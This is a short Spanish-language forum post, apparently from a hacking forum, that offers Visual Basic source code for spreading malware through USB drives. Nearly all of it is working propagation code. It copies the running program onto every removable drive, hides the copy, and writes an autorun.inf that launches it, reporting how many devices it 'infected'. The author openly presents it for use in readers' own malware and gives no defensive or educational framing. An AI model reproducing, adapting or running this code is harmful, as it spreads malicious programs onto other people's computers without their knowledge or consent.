Bueno, les dejo el source de la funcion para el spread de su malware por medio de dispositivos USB
CODE:
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32.dll" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Const DRIVE_REMOVABLE As Long = 2
Const FILE_ATTRIBUTE_HIDDEN = 2
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_READ = &H1
Private Function GetFileName() As String
Dim szBuffer As String * 255
GetModuleFileName 0, szBuffer, Len(szBuffer)
GetFileName = szBuffer
End Function
Private Function InfectUSB(Filename As String) As Long
Dim szBuffer As String * 128
Dim infBuffer As String
Dim Drive As Variant
Dim Drives() As String
hGet = GetLogicalDriveStrings(Len(szBuffer), szBuffer)
If hGet <> 0 Then
Drives = Split(szBuffer, Chr(0))
For Each Drive In Drives
If GetDriveType(Drive) = DRIVE_REMOVABLE Then
hCopy = CopyFile(GetFileName, Drive & Filename, 0)
If hCopy <> 0 Then
hFile = CreateFile(Drive & "autorun.inf", GENERIC_WRITE, FILE_SHARE_READ, 0&, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0&)
If hFile <> 0 Then
infBuffer = "[autorun]" & vbCrLf & "open=" & Drive & Filename
hWrite = WriteFile(hFile, infBuffer, Len(infBuffer), 0, 0)
If hWrite <> 0 Then
InfectUSB = InfectUSB + 1
End If
End If
Call SetFileAttributes(Drive & Filename, FILE_ATTRIBUTE_HIDDEN)
Call CloseHandle(hFile)
End If
End If
Next Drive
End If
End Function
Sub Main()
hInfected = InfectUSB("lawl.exe")
If hInfected > 0 Then
MsgBox hInfected & " USB device(s) infected!"
Else
MsgBox "No USB devices infected"
End If
End Sub[Espero que les sea de utilidad!
